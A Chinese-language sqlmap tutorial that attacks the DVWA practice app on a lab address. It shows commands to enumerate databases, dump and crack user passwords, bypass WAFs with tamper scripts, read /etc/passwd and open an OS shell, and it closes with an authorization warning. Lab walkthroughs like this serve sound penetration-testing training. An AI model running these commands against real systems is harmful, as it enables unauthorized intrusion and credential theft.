開源滲透測試工具,自動化檢測、利用 SQL 注入漏洞,支持指紋識別、數據枚舉、文件讀寫、命令執行。官網:https://sqlmap.org,GitHub:https://github.com/sqlmapproject/sqlmap。
https://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit,GET 參數 id 存在注入。PHPSESSID=xxx; security=low(用 Tamper Data 抓取)。python sqlmap.py -u "https://target/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=xxx; security=low" \
-b --current-db --current-user
輸出:DBMS=MySQL 5.0, OS=Ubuntu, User=root, DB=DVWA。python sqlmap.py -u "..." --cookie="..." \
--string="Surname" --users --passwords
獲取 root、phpmyadmin 等用戶哈希(均為 *C30441E06530498BC86019BF3211B94B3BAB295A)。python sqlmap.py -u "..." --cookie="..." --dbs
列出:dvwa, information_schema, mysql, performance_schema, phpmyadmin。python sqlmap.py -u "..." --cookie="..." -D dvwa --tables
結果:guestbook, users。python sqlmap.py -u "..." --cookie="..." -D dvwa -T users --columns
列:user_id, user, password, avatar, first_name, last_name。python sqlmap.py -u "..." --cookie="..." -D dvwa -T users -C user,password --dump
自動調用字典破解 MD5,得到明文:admin/password, gordonb/abc123 等。| 參數 | 說明 |
|---|---|
| -u / --url | 目標 URL |
| --cookie | HTTP Cookie,維持會話 |
| --data | POST 數據,自動檢測 POST 注入 |
| -b / --banner | 獲取 DBMS 版本信息 |
| --current-db / --current-user | 當前庫/用戶 |
| --dbs / --tables / --columns | 枚舉庫/表/列 |
| -D / -T / -C | 指定庫/表/列 |
| --dump | 導出表數據 |
| --string / --regexp | 真/偽頁面特徵標識 |
| --batch | 非交互模式,自動選擇默認值 |
| --threads | 併發線程數 (默認 1,可加速) |
| --tamper | WAF 繞過腳本 (如 space2comment.py) |
--tamper=space2comment,between,randomcase 組合使用。--second-order=URL 指定二次觸發頁面。--file-read=/etc/passwd (需 FILE 權限)。--os-cmd=whoami / --os-shell (需高權限、特定 DBMS)。--save-session / --load-session 斷點續掃。⚠️ 僅授權測試環境使用。未經書面授權對目標系統運行 SQLMap 屬非法入侵,承擔法律責任。企業滲透測試需簽署授權書、明確範圍、規則、報告流程。